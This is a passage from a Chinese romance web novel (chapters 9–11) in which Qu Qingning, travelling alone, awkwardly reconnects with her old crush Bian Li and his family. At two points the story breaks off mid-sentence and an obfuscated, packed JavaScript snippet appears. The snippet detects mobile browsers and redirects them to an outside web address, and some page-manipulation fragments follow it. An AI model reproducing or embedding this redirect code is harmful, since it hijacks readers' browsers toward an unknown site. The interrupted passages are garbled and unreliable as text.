其实她发的时候没有加标点符号,只是此刻联系上下文,曲清宁情不自禁地就自动脑补出了对方接受到这条消息的语气了。
当时有多直接和爽快,现在她就有多后悔。
要是知道那家店是万阿姨开的,打死她也不敢那么回话好吗?!!
几乎是紧闭着眼睛,做了好几次深呼吸,曲清宁才问陈佑:“你们老板知道那天去店里做妆造的人是我吗?”
陈佑想了想,回她说:“不确定,可能不知道吧。老板那天不是没来吗?”
在曲清宁即将松了一口气时,他又说:“不过也不一定,因为老板每天都要看订单的嘛,如果你登记的时候填了自己的名字,她不就知道了么?”
ok,很好。
她只备注了一个姓氏,没填名字。
陈佑看她的脸色一会儿明朗一会儿低沉的,也没明白怎么了。
就这么僵持了半响后,他小心翼翼地询问:“还有事吗?没有的话我走了。”
曲清宁迅速伸出手。
“等等,还有一件事!”
心里一横,抱着最后的希望,曲清宁跑到陈佑面前。
她一口气问了出来:“那你们店的那个客服号是谁在用,真的是老板吗?”
陈佑毫不犹豫:“对啊。”
曲清宁:“……”
好的。
彻底死心了。
9. 第 9 章
直到曲清宁离开,陈佑还没明白她怎么在自己提完边理之后,神色就变得有些丰富多样了。
这让他不得不更加推测,两人之间有什么不可告人的关系。
于是分别前,他还不忘对曲清宁说有机会可以来他家吃饭,顺道可以八卦一下实情。
然而知道妆造店是边理妈妈开的之后,曲清宁已经对吃的提不起兴趣了,随便应付了两句就走了。
满怀愁绪进了民宿,一推开门,刘曼轻先迎了上来,绕着她转了一圈。
“哎呀,果然穿在小姑娘身上就是不一样的漂亮啊。”
被人夸了,曲清宁的心情好了那么一点点,下意识地谦虚说:“……也没有啦,应该谢谢您今天陪我一起挑。”
直到她看见刘曼轻身后的边理。
不知道是不是因为回家洗了个澡,他已经换了一身更舒适的穿搭,灰色的卫衣宽宽松松,露出点冷白的肌肤和锁骨,休闲裤下包裹着的腿依旧显得修长挺直。
唯独不变的是他身上那一份斯文矜贵且带着疏离感的气质。
笑容僵在了脸上,曲清宁一时间都忘了打招呼。
“对了,边理好像是找你的呢。”刘曼轻这时候才提及,曲清宁更是尴尬地笑了两下。
边理早就看到了她。
他来民宿就是来找曲清宁的。
万若素今晚做了许多好吃的,曲清宁没上门来做客,她就让儿子带一些本地特色的小吃拿过去给人送上门。
民宿和他们家离得不近,但开车过来也快。
边理在大厅里等了二十几分钟,在刘曼轻劝说他放桌上,她帮忙送时,曲清宁推开门进来了。
这是边理印象中第一次看她穿旗袍。
古镇是旅游景点,来这里拍照的女生有不少这样穿的,边理习以为常。
但穿在曲清宁身上,却好像总归有些不一样。
而且这也让他想到了万若素说的另一件事:曲清宁本来就是要去买衣服的,只是和他一起逛街后,一家旗袍店都没进过。
现在看来,是真的。
所以为什么?是不愿意和他待在一起太长时间?
还是分开太久了,对他变得生疏起来?
边理淡淡地看着她,曲清宁莫名地感觉到背后有些发凉。
他该不会也早就知道了那个说要投诉的顾客是自己吧?
现在串起信息来,曲清宁终于明白了店员说的老板的儿子是谁了。
不过可以选择的话,她其实更希望可以等自己离开古镇后再知道。
不太自然地走到边理身边之后,曲清宁才小声问:“边理哥,你怎么过来了?”
如果避免不了会碰到,那只至少也给她一点缓冲时间好吗?
好的。
曲清宁欲哭无泪。
边理自然是不清楚她内心的想法,把装在保温盒里的小吃递给她,解释了一番:“我妈做的一点吃的,让我带过来给你。”
这么一说,曲清宁心里就更加愧疚了。接过来的时候,她默默道歉了好几遍。
她发誓,她真的不是有意要那么说的!
实在是当时正和万梦打电话,被对方发的一条条信息给打断了有点烦。
“真的吗?那真是太谢谢阿姨了。”这句几乎是哭着说出来的。
道完谢,曲清宁想要迅速撤离。
“那如果没有其他的事,我就先回房间了。”
的确没有其他的事了。
只是边理没想到她会这么快就想要离开。
第一次见面他说送她回民宿,她拒绝了。第二次他们俩一起逛街,曲清宁一进门就告诉他有事可以先走。
现在他过来送东西,只简单交谈了两句,就说要回房间了。
所以,是不想看到他?
边理没回答,曲清宁也不好直接走。
她侧过身子,悄摸往他那瞥了一眼,没明白边理在深思什么。
直到边理抓住了她的目光,说了句:“下午还去别的地方逛了?现在才回来。”
曲清宁想也没想,直接道:“对,就随便逛了逛。”
她的声音很小,刻意地加快了语速,不让人察觉。
然而边理似乎没有给她这个机会,思索了片刻,又一次开口:“你住的这里离园林挺近的,那儿风景不错,很多女生去拍照。”
曲清宁:“……”
如果这时候她告诉边理,自己去的地方就是园林,会不会有点扫兴?
而且如果说去过了,边理会不会又接着问下去?
斟酌了一番,为了尽快结束对话,曲清宁决定撒点小谎。
她佯装惊讶,十分配合地点点头:“是吗?那我下次去看看,我特别想去园林呢,哈哈。”
就这么一句,完美地终止了话题。她也清楚,边理本身就不是话多的人,再也不会继续下去。
果真如此。
在得到她的应答后,边理便道:“嗯,没什么事了。东西趁热吃,冷了味道没那么好。”
曲清宁飞速应下:“好。”
没等她告别,边理先离开了。他拎起放在长椅上的外套,大步流星地跨出了民宿大门。
曲清宁看着他坐上了车,调转方向盘,疾驰而去。
他似乎真的只是来送吃的,完成了交代的任务就可以离开,别无其它。
人一走,刘曼轻走上前,围住了曲清宁打趣。
“哎呀呀,小年轻的心思真是甜哦。”
本来没什么的,被她这么一说,曲清宁回过神来,不免开始耳朵红。
她赶紧解释:“不是的……这是边理哥的妈妈让他给我送的。”
刘曼轻更加来兴趣了:“哦呦,这不是说明若素对你有意思,想让你做儿媳啦?”
过年的时候早就身经百战各种七大姑八大姨的问话了,曲清宁这时候听到这样轻飘飘的一句,不知为何,心里又开始泛起波澜。
她都和万梦承诺过的,自己已经没感觉了,只是有些尴尬。
现在却还是控制不住。
曲清宁把原因归结为旁边有人起哄,她又是很容易浮想联翩的。
为了斩断念想,她赶紧拿着袋子上楼去了。
小姑娘被打趣一句就慌乱逃跑的样子落在刘曼轻的眼里,却煞是可爱。
-
“站起来我看看,我们清宁宝宝穿旗袍真的很好看诶。”
回到了房间,曲清宁拨通了和万梦的视频电话。
万梦一眼就注意到了她今天的着装打扮。
曲清宁把吃的暂时放在了一边,在桌面立起手机,站起身来,对着屏幕兴高采烈地转了一圈,最后还比了个爱心。
万梦浑身起鸡皮疙瘩了:“ok,我被迷死了,回头记得付一下医药费。”
在朋友面前曲清宁总是没什么形象的,让万梦无语了,她满意了,开始坐在桌边拆袋子拿吃的。
“我说你们长得好看的人是不是从小到大都没什么烦恼啊?每天睡醒对着镜子都要欣赏好久吧?”
万梦凑近屏幕,指了指自己的黑眼圈:“你看看我,单眼皮也就算了,现在每天熬夜还有黑眼圈。”
其实万梦只是不喜欢打扮,她的五官很端正柔和,长相也气质,稍微收拾一下,也很好看。
反正在曲清宁眼里,她是非常好看的。
她揭开了装小吃的保温盒,振振有词地说:“黑眼圈又怎么了?正常人都会有啊。而且我很喜欢你啊,梦梦的一切我都喜欢。”
“我宣你啊梦梦。”
曲清宁摇摇晃晃的,心情十分高涨。要是有个说唱的背景音乐,她还能来段表白的舞蹈。
她没学过芭蕾,但是会点街舞。不过也是会点皮毛,大学里为了锻炼去学的。
看她开始盘坐在椅子上开始吃东西了,万梦瞅了一眼问:“你这吃的不是街边买的吧?”
曲清宁这才停住:“你怎么知道的?”
“筷子都不是一次性的啊。”
万梦又猜测她会不会是从民宿里拿的,不过紧接着曲清宁就实话实说了。
“好吧……”曲清宁的脸颊有点热,声音也不像刚才那么大大咧咧了。
万梦更加觉得可疑起来。
她本来是在晾衣服的,这时候放下了晾衣杆,直接凑到了屏幕面前来。
一秒钟确定,曲清宁是真的脸红了。
“……这是边理妈妈做的,然后边理刚刚送给我吃的。”
果然。
她说呢,这孩子今晚上怎么格外兴奋。
万梦摇头叹了口气。
“昨天还是前天,有人打电话和我说,不想出门了,太尴尬了,一辈子都不想再见到谁了。”
说着,万梦还特意了模仿其她当时疯狂捶床,恨不得找个地洞钻进去的动作和语气。
曲清宁现在看她,好像就看见了自己。
原来她当时反应这么大吗?
“……”
“我、我没有啦。”曲清宁也不知道是在给谁找辩解的理由,磕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372147|199965||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
磕绊绊地说:“我只是觉得,一个人在外面旅游,突然碰到了熟人,还挺好的。”
和刘曼轻毕竟只认识了几天,还不算太熟,又是长辈,曲清宁刚在楼下还有所顾忌,没把欢呼雀跃又紧张的小心思展现出来。
然而在万梦面前,她是丝毫不会掩饰的。
也有那么一点不想掩饰。
“嗯,是咯。我本来也这么说的啊,但你不是一直都强调不想见到那个谁吗?”
万梦一阵见血。
“不会这次旅游又让你旧情复燃了吧?”
不敢打包票,曲清宁摸了摸鼻尖,只能说一句:“暂时还没有。”
万梦摇了摇头:“你啊,别这么容易就被对方带走了,我没见过那什么边理,不过听你说他又是博士又长得帅什么的,比你还大几岁,追他肯定也很难追。”
她说的是实话,曲清宁也明白。
自己都表白被拒绝过一次,如果再追,是不是在做无用功?
强迫自己回想了下当初心如死灰的惨状,曲清宁顿时又冷静了不少。
“好的,我会克制住的。”她乖乖应下。
随即联想到自己在边理面前的表现,又很有自知之明地补充了一句:“只要他不在我面前出现。”
说着,曲清宁伸手把桌上刚收到的吃食也推远了些。
但是闻到里面散发出来的诱人的香味,又有点不舍。
里面好像是一些油炸的小吃?有肉香还有辣椒,闻着像是咸辣口味的。
光是这么一想,曲清宁就忍不住吞了吞口水。
食物再怎么说都是无关紧要的吧?
她的手还搭在袋子上没收回,这时手机叮咚响了一声。
有人给她发了消息。
看向屏幕,曲清宁一眼就瞥到最上方的备注——边理哥。
刚才信誓旦旦地在万梦面前许下承诺,现在还没过一分钟,人就出现了。
心头一颤,曲清宁眨了眨眼,仔细点开来看。
边理哥:【尝了么?味道怎么样?】
只是一句平常的问候罢了,曲清宁克制着自己,不让多想。
然而看到他接下来的话后,那点紧紧攥着的心思还是逃脱了她给自己设置的警戒线,飞了出去。
边理哥:【里面的春卷是我做的】
他亲手做的?
曲清宁其实也会点厨艺,只是她觉得做吃的很麻烦琐碎,所以能点外卖吃到的,绝对不进厨房弄。
现在边理给她亲手做了吃的,她下意识地也就觉得有那么一点不一样的意思了。
犹豫了下,曲清宁悄摸瞥了眼和万梦视频的屏幕。
看她又回去晾衣服了,曲清宁才小心地再次打开了保温盒。
盒子底下那一层还热着的春卷整齐地摆成一排,单从卖相来看,都很漂亮。
她拿着筷子,夹了一个尝尝。
春卷外皮酥脆油香,内馅多汁鲜嫩,还放了她喜欢的土豆丝!
几口就解决了一个,她放下筷子,不参杂半点阿谀奉承地回复。
曲奇饼干:【超级超级好吃!】
边理很快回了她:【嗯,喜欢就好,过几天家里有人生日,可能还会做别的,到时候再给你带过去一些?】
曲奇饼干:【会不会有点麻烦了?】
边理哥:【不会】
边理哥:【有其他想吃的也可以说】
曲奇饼干:【我随便什么都可以的!】
曲清宁嘴上是委婉的,心里已经开始飘飘然了。
谈到吃的,她连自己在和万梦说话都忘记了。
直到突然听到手机发出声音。
“你在和别人聊天吗?”
背脊一激灵,慌张起来,曲清宁立即停手坐端正了,连忙退出和边理的聊天界面。
奈何万梦太了解她了,一眼看穿,掀起眼皮问:“边理?”
被抓包了,曲清宁的眼皮跳了跳。
她的声音比蚊子还小:“……嗯。”
她瞥了眼镜头那边的人,摸了摸鼻尖,小心翼翼地强调了一下:“他主动给我发消息的,我总不能不回吧?这样不是很不礼貌?”
万梦一句话也没说,就看着她。
曲清宁更加小声了:“你不这么觉得吗?梦梦。”
万梦依旧没说话。
曲清宁狠下心来:“真的,我发誓,绝对不会主动去找他的!”
万梦两个字冷淡回绝:“不信。”
曲清宁:“……”
10. 第 10 章
边理回到家后,桌上的饭菜已经凉了。
客厅里父亲边柏砚正在看电视,万若素则陪着丈夫在一旁,专心致志地钻研设计妆造店要用的绒花发簪。
听见他的动静,万若素搁下手头上的木簪,笑吟吟地问他:“你回来了?吃的应该送给清宁了吧?”
边理“嗯”了一声,万若素又起了身。
“那我去帮你热一下饭菜,你刚刚走得急,都没吃两口。”
要他去给曲清宁送吃的这件事,刚好是万若素在吃饭前说的。
她本是想让边理吃完了再去,但边理没同意。
他解释说:“她在民宿,那儿可能没微波炉,吃的如果凉了,要重新加热也不方便。”
毕竟是在冬天,这么说也有理。
于是万若素也只能把刚出锅的小吃整整齐齐地装进了保温盒,让他迅速送过去。
这会儿万若素又进厨房要给他热饭菜,边理很快阻止了,淡淡道:“妈你去忙吧,我自己来就行。”
不等亲妈插手,边理利落地做完了一切。
万若素在一旁看着,又忍不住感慨:“唉,你说清宁这孩子怎么一个人出来旅游了?要是三五天也就算了,不过我听曼轻说她已经独自旅行几个月了。父母不在身边,连个关心吃饭的人都没有。”
万若素就边理这么一个孩子,尽管知道他事事都能周全,但她和丈夫还是会忍不住多念叨些。
只是,曲清宁的父母……
没深想下去,万若素及时阻挡了自己的思绪。
反倒是坐在客厅里的边柏砚说出了她心中所想:“老曲两口子人是挺不错的,就是对小孩,有时候有点过于严厉了。清宁那小姑娘很懂事,要是我女儿,我得整天笑得合不拢嘴。”
说着,边柏砚还真想着自己有女儿的生活,做美梦似的笑了两声。
话说回来,他又急忙补充了句:“当然,我自己的儿子,我也是很满意的,聪明又长得帅,像我。”
万若素:“……”
边理:“……”
万若素一声呵斥:“看你的电视去,净在这说些没用的!”
被老婆骂了,边柏砚忍不住小声嘟囔了一句:“这不是随便聊聊嘛,怎么还生气了。”
不过在老婆看过来时,他立即不吭声了。
父母在家里拌嘴是常有的事了,边理没放在心上,继续接住了万若素刚刚的话,道:“曲叔叔他们应该也会偶尔打电话给她。”
万若素不知想到了什么,看着远处的天色呢喃:“说是这么说,只是……”
毕竟是别人家的事,话到一半,她也没再多言。
简单解决了晚餐,收拾碗筷后,边理照常进了书房。
他拿起手机,打算看两眼导师新发的消息,但一打开屏幕,瞥到的却是自己的搜索记录,还停留在不久前搜索制作春卷的诀窍上。
边理自认为没必要像父母那样,担心曲清宁的饮食住行。
他知道曲清宁能有解决好这些问题的能力。
许久以前,曲清宁还在读初中的时候,边理一家计划出去旅游,想邀请她也一起。
不过当时买票是曲父买的,弄错了班次,没买到同一班高铁。
那时曲清宁是第一次出远门。
她被父母送到高铁站后,就开始给边理发语音消息,说些有的没的。
“边理哥哥,我已经到站内了,但是这里人好多啊,好像都没有座位。”
“边理哥哥,我在书包里带了一瓶矿泉水,可以过安检吗?高铁上应该有水卖的吧?”
“边理哥哥,有人和我是同一趟高铁的,我决定等一下跟着他走!当然我肯定也会看站台信息的啦!”
……
边理看出来了她是在紧张,所以从她候车到进站台、上车找到座位,他都一直在回应。
一直到曲清宁出现在她眼前,眼睛亮晶晶,又一脸不可置信地说:“边理哥哥,我真的一个人坐高铁过来了!”
那时候是夏天,她穿着一身紫色的背带裙,扎着双麻花辫,元气又可爱。
手机里的话转为了耳边的声音。
边理也不知怎么的,很轻地伸手摸了一下她的发顶,说了句:“嗯,很棒。”
曲清宁聪明,也懂得为人处世的道理,很讨人喜欢,所以这些对她来说都是小事情。
现在也是一样。
单从她和刘曼轻的关系就能看出来。
只是一个人出门在外,免不了会觉得孤单。
曲清宁本就不是内向的性格,她喜欢和人交朋友,喜欢和人交谈。这些边理都是知道的。
现如今在外,定然是不能随便和陌生人结缘,那基本上走到哪都是独自一人。
然而她对自己——为数不多认识的熟人,似乎也变得生疏起来。
边理不确定是不是和那封情书有关。
犹豫了片刻,他最终还是拿起手机,发了消息过去。
边理:【尝了么?味道怎么样?】
-
也不是为了故意做给万梦看,总之接下来的几天都是下雨天,曲清宁没怎么出门,自然也就没有碰到边理了。
这天起早了,曲清宁洗漱完下了楼,正好看到刘曼轻在和两岁的小孙女在玩游戏。
客厅里没什么人,小女孩扎着五颜六色的小辫子,穿着冬天的蓬蓬裙和毛绒裤袜,乖乖地坐在小板凳上,认真地拼着积木。
“曼轻姨,你这么早就起来了?”
民宿里提供餐食,曲清宁知道刘曼轻很早就会起来去买菜做早餐,但因为她是早午餐一块儿将就的,所以很少会碰到。
今天是头一回。
看到她下来,刘曼轻也笑着打招呼:“年纪大了,觉少。而且这不是还有个小家伙,每天天不亮就开始在我耳边扒拉,让我起来了。”
听到他们俩聊天的内容,似乎在说自己,小女孩歪着脑袋看了看曲清宁,眼神天真又稚嫩,带着婴儿肥的、白里透红的脸颊更是添了几分可爱。
曲清宁一下子就被击中了心。
她特别喜欢和小孩一起玩,过年走亲戚的时候,到小孩多的亲戚家里,几乎就是孩子王。
“宝宝你看,是姐姐。”
刘曼轻指了指曲清宁,小女孩就跟着甜甜地叫了一句:“姐姐。”
盯着她愣愣地看了两秒,小女孩又蹦出来一个词:“好看。”
刘曼轻被小家伙逗笑了:“我说刚才怎么不说话呢,原来是看你长得漂亮,在欣赏呢。”
曲清宁也不好意思起来,热情地回应了一句:“谢谢宝宝,你也超级漂亮啊。”
小女孩接着就从板凳上下来了,一步步走过来,拉着她的手,把她也牵到了桌边。
“我可以一起玩吗?”曲清宁试探着去理解她的意思。
小女孩的手背在身后,葡萄似的眼睛盯着她一刻钟也不离开,在曲清宁又问了一遍之后,她才懵懵地点了点头。
“可以。”
没人能忍住不和这么乖的小天使一起玩,曲清宁当即就沦陷了,也搬了个凳子坐在她身边。
刘曼轻倒是乐意了:“那麻烦清宁你帮我看一会儿她了,我去做个早餐。”
曲清宁欢快地答应了下来。
小女孩的确也很乖,对曲清宁似乎有种莫名的信任,喜欢拉着她的手和自己一起拼积木。
外面是轰隆的雷声,雨水落在窗台,发出滴滴答答的声响,但客厅里很安静、温暖,一时间只剩下她们俩偶尔交谈的动静。
直到积木拼完,小女孩和曲清宁拍了下掌。庆祝一番后,她往四周看了看,问:“奶奶呢?”
曲清宁耐心地回应:“奶奶去做早餐了,还要继续玩吗?”
小女孩摇了摇头,眼睛水润润的:“我想奶奶了。”
小孩子的心思似乎总是来得毫无缘由,但曲清宁却有那么一瞬间觉得好像能很清晰地体会到她的感受。
“那姐姐抱你去找奶奶,好不好?”
小女孩应了一声,曲清宁就把她抱了起来,一边哄她一边走向后院的厨房。
只是推开门一看,锅里闷着汤的,人却不在。
“奶奶去哪了?”这下小女孩慌张了起来,有点要哭的迹象了。
两个人靠得很近,小孩子的心跳声是那么的强烈,曲清宁都感受得到。
“可能是去隔壁和别的奶奶聊天了,我们再过去看看,好不好?”
她加快了脚上的步子,从客厅随手拿了一把伞,打算出门去隔壁看看。
正要走出大门,刘曼轻拎着一包盐回来了。
“哎呀,小公主,这是想让姐姐带你去哪啊?”
都不用曲清宁明说,刘曼轻就明白了是怎么一回事,立即从她手中把小女孩接了过来,拍了拍她的背。
“奶奶做早餐没有盐了,去隔壁的太婆那里借了一包,不是不见了。”
小女孩紧紧地搂住刘曼轻的脖颈,趴在她的肩膀上“嗯”了一声,又说:“但是我想你了。”
“哎呦哎呦,奶奶也想你。”
刘曼轻抱着小女孩哄着,没一会儿,人就睡着了,脸上还挂着泪珠。
把人放回了卧室,她这才出来重新下了楼。
看见曲清宁帮忙在收拾积木,刘曼轻赶紧道谢。
“真是麻烦你了。小孩子就是这样的,总是很依赖亲近的人。没一会儿不在身边,就着急要找。”
曲清宁笑了笑,回应说:“没事的,我小时候也是这样。”
“长大了也很多人是这样的嘞。”
刘曼轻把积木全部装进了玩具箱,笑着道:“只是长大了就没办法像小时候这样直接说出口了,也没有这样的机会了。”
“我就还希
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372148|199965||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
望着,要是我爸妈还在就好咯,在他们面前,撒个娇,讨一顿骂都是有意思的。”
她说着又想到前几日曲清宁和自己谈过的话:“对了,你不是在外面旅游几个月啦?快过年了,不想父母?不想回家?”
曲清宁顿了顿,找了个客套话:“这不是古镇太好玩了,我还没玩够呢。”
表情却变得有些强颜欢笑。
刘曼轻到底是有过几十年阅历的人了,哪能这点小姑娘的心事都看不出来?
不过她也没问具体是怎么一回事,一概笼统地去说也是毫无意义的,只道:“好玩那当然是好玩的,还有好些地方你没去过。”
她看了看曲清宁,又多讲了一句:“有时候就是观念不同,容易和家里人吵架。好像也没办法解决,只能彼此多多体谅了。”
-
说来也巧,早上和刘曼轻聊完天之后,下午曲清宁就接到了父母的电话。
他们问起她在古镇这边玩得怎么样,嘘寒问暖了一阵。
或许真是受了刘曼轻那句话的影响,曲清宁也变得心平气和起来,热络地和他们讲起了在这边的事。
只要不提到她的工作,一家人总是能安然无恙地对话。
好不容易讲完了,曲清宁等待着父母的反应,却听到那边突然想起什么似的,曲父说:“诶,我记得边理家好像在那。”
被这么一提醒,曲母也记了起来:“没错没错,是这个古镇。他们家几年前搬过去的,当时还让我们有空过去玩呢。”
“你在那边没碰到他们家?”
曲清宁不擅长撒谎,直接说了:“碰到了。”
她把边理妈妈给自己做了吃的这件事都说了出来。
“他们家还是那么热情。”曲母想了想,立即有了主意:“那你没去人家家里拜访?”
“这就不用了吧,还挺麻烦阿姨他们的。”
曲清宁其实是更不想见到边理。
曲母却比她还急:“你是小辈,要懂礼貌。边理的父母虽然这几年没和我们见过面了,但是每年都会寄一些礼品给我和你爸。我们家现在就你在那边,不能失了礼数。”
她给曲清宁列了一串登门拜访要买的东西,又教她该做些什么,说些什么。
“我不去。”曲清宁有些无奈。
但转头听见那头她妈妈已经和谁打电话去了,压根没听见她这一句。
曲父和女儿向来也没什么话聊,老婆一走开,他便道:“行了行了,你妈妈给你万阿姨打电话了,你自己看着安排吧。”
以为这件事就这么搁置了。
她爸妈可能也是一时上头。
但曲清宁没想到,过了不久,万若素反而找上她了。
万若素热情地问她喜欢吃什么菜,什么时候过来,好让她安排。
已经到了这一步,曲清宁没办法再说别的,只好礼貌回了句阿姨做的我都喜欢和麻烦阿姨了。
放下手机,曲清宁躺在床上蹬了下腿。
她就不该和父母提边理一家的事。
现在不仅要见面,还要自己去挑礼品。
稍晚一些的时候,雨停了,曲清宁不得不换了衣服出门。
她在超市里逛了几圈,最后还是没决定下来。
一般好像都是买牛奶或者水果当上门礼,但是附近这家超市里的这两样,曲清宁都没看见能拿得出手的。
牛奶是不知名的杂牌,水果也只有些普通的,看着也不太新鲜了。
再远一点的地方倒是有一家大型的商场,里面的物品齐全,不过走路过去又冷又远。
想到万若素给自己做的吃的,曲清宁咬了咬牙,还是决定和刘曼轻借个小电驴过去买。
“这么晚了还要去商场啊?买什么东西啊这么急?”刘曼轻把钥匙给了她,又叮嘱她穿厚一点,开车的话风吹着冷。
曲清宁很有自知之明:“谢谢曼轻姨,我主要怕明天下雨,我就更加懒得去了。”
“那你早点回来。”
“好。”
曲清宁推着小电驴出门,插上钥匙前,她给万梦发了一条语音。
“梦梦我跟你说,我现在要去商场买东西,冬天,夜晚,冷风,孤苦伶仃一个人。我都要佩服自己了。”
自从万梦说了要她多分享之后,曲清宁几乎每天都事无巨细地和她说。这种体现她坚强意志力的时候,那是肯定也要告诉的。
发完,她准备把手机放进兜里,戴上安全帽。
然而熄屏前仔细一看,她刚才点开的压根不是和万梦的对话框。
而是边理!
曲清宁紧急撤回,心里默默祈祷对面千万不要看到。
半分钟之内,没看到备注变成正在输入,她松了一口气,立即跨上电瓶车。
就在这时,手机震动了下。
边理哥:【这么晚去商场做什么?】
11. 第 11 章
曲清宁不知道自己怎么就坐在了边理的车上。
在看到那条回复的消息后,她绞尽脑汁想了许久,最后回了什么,她现在也忘记了。
不过晚上可以坐轿车确实要好很多,不冷,速度还快。只是古镇地方不大,压根没有出租车,所以她才只能选择小电驴。
进入隧道,四周变暗,只有前方亮着灯。
车内一片寂静。
曲清宁端正地坐在副驾驶上,目不斜视地看着那处闪烁的地方,眼睛一眨不眨,脊背挺直。
直到边理问她:“要听歌吗?可以放你的歌单。”
太过于想要自己专注在其他事情上,曲清宁一时间反而没听清他在说什么了。
她看向边理。
边理还是戴着那副黑色的半框眼镜,眼神凌厉,气质清冷,但和曲清宁对视时,眼底却仿佛有些许光亮。
也不知道是折射的光源还是什么。
“哦哦,好的。”反应过来后,曲清宁拿手机,给车载音响连上了自己的蓝牙。
她没想到歌曲会自动播放,跳出来的第一首就是她昨晚上听过的说唱。
节奏十分燃十分劲爆。
车内一下子热闹起来。
“……”
迅速切了另外一首安静的抒情歌,曲清宁这才去看边理的神色。
不管他怎么想,总之曲清宁还是硬着头皮解释了:“好像是自动播放的……”
“其实我的歌单里也有很多其他的!我平时听古风类的比较多。”
她不清楚自己在边理心中是什么形象,但希望表现出来的就是乖巧文静的性格。
如果没办法做到,那至少不要和这些词偏离太远。
边理其实只在刚开始听到的时候有一点诧异,不过很快就接受了,点了点头。
车内再次陷入沉寂,舒缓的曲调慢慢安抚了心情。
就在曲清宁以为就这么应付了过去时,轿车遇到了红灯,停了下来,边理突然开口说:
“你不是学过街舞么?街舞的伴奏,很多都是说唱吧?”
曲清宁:“?”
他怎么会知道?!
她内心震动,边理说出来时的语气却十分平淡。
曲清宁侧过了脸,托着腮看向窗外,假装若无其事地说:“好像、好像是吧。”
哈哈哈。
真有意思。
真好笑呀。
她迅速转头,飞快地问了一句:“边理哥你从哪知道的?”
边理回她说:“今天你妈和我妈打了电话,无意间听到她们说的。”
听到这一句,搭在膝盖上的双手攥紧了衣摆,曲清宁闭了闭眼,恨不得现在就开门下车。
她都不敢想,爸妈还在边理的父母面前说了什么。
不会把她在家里天天穿睡衣、东西总是乱丢、作息混乱、爱吃零食等等这些琐碎的事情全部告诉他们了吧?
千不该万不该下午接通了那道电话。
曲清宁现在就是十分后悔。
她不打算继续去问边理。
如果得到了更多关于自己乱七八糟的消息,她会更加绝望。
于是听完这句回答之后,曲清宁立即当作没事发生一样,哈哈笑了两下,说了一句“哦哦,原来是这样啊”,就飞快地闭上了嘴,一声不吭地开始低头玩手机,以此来截断聊天。
她不停地刷着社交平台,实际上一个字也没看进去。
余光瞥见她的动作,边理后知后觉曲清宁似乎是不太想提及这件事。
不过他挺疑惑的,这不是才能吗?为什么会觉得羞于启齿?
舞蹈和音乐对于他这个音痴和四肢不协调的人来说,几乎无缘。
所以每次知晓朋友擅长,他都会由衷地感觉佩服。
但曲清宁不想说,那他便也不再打算问。
大部分时间都是在学校里做实验、写论文、参加各种会议,边理已经很少接触她这个年纪的女生了,有时候会跟不上她们的脑回路。
他只记得万若素提到过的,曲清宁和以前不一样了,心思细腻了许多,所以他也应该多注意点自己的言行。
不应该像小时候那样对她了。
-
商场坐落在市区中心,建筑恢宏壮阔。晚上八九点——古镇的店铺几乎要打样的时间,这里依旧灯火通明。
从玻璃门走了进去,曲清宁边看边盘算着要买些什么。
妈妈其实也给她列了一些物品,但她并不打算照着买,比如烟和酒。
好像这两样是经常作为礼品送给亲朋好友的,但曲清宁最不喜欢。
她先是去逛了水果区,挑了一箱草莓和两个榴莲,又去楼上的食品区选了几箱补品。
看她购物车里塞满了东西,边理忍不住问了句:“怎么买这么多?”
曲清宁也不知道该不该说出实话。
纠结了两秒,还是告诉了他:“因为我后天要去边理哥你们家做客,总不能空着手去吧?”
她没把边理当作是长辈,说出来好像也没什么别扭的。
边理也没想到原来是为了来他们家,所以才特意要跑一趟商场。
他顿了顿,随后指了下那些补品,道:“那这些就不用了,买点水果就行。我爸妈他们不怎么吃保健品,别浪费了。”
“这样吗?”曲清宁拿起补品放回了货架,推车一下子变得空荡荡。
她有点担忧:“会不会太少了?”
“已经很多了。”边理道,“到时候提过来不嫌麻烦?”
他直接说中了曲清宁最关心的点。
要是把补品也加上,她就得在小电驴后面再绑上一圈了,画面她不敢想象。
速战速决,挑完了礼品,准备下楼结账。
她和边理并排着走的。
正要说点什么,忽然感觉到有人在看自己。
曲清宁侧了下脸,瞥到有一对扯着袋子在挑选水果的夫妇。
在她看过去时,女人很快地收回了目光,假装看向了面前的苹果。
“哎呀,老头子,你看这苹果的纹理是不是有点难看啊?”
曲清宁:“……”
她故意找茬都说不出来这种话。
不过她并不认识这对夫妇,所以也没多想,又转回了脸,对着边理,问了句:“边理哥,收银台是在二楼对吧?”
边理:“嗯。”
在他说完这句,曲清宁立刻再次瞥过头,正好抓到女人的目光。
女人:“……”
她也没想到这小姑娘还会声东击西。
边理这时候意识曲清宁在做什么,顺着她的目光看过去,解释了下:“那是我小姨的朋友,镇上的一位伯母。”
原来是在看边理,不是看她。
曲清宁放心了,问:“那你要过去打招呼吗?”
边理淡淡地回她说:“不打也行,伯母不介意这些。”
他顿了顿,又补充了下:“就是可能会有点麻烦。”
曲清宁:“?”
“什么意思?”
边理:“她喜欢和我小姨坐在评弹馆里聊天。”
曲清宁:“……”
这话一出,曲清宁也明白了是什么意思。
边理看她担心起来,又安慰了句:“但也没事。伯母顶多好奇两句,不会添油加醋。”
那就行。
因为去打招呼的话还得绕个弯过去,于是两个人就没这么做了,笑了下算是问候。
到了收银台,结完账。
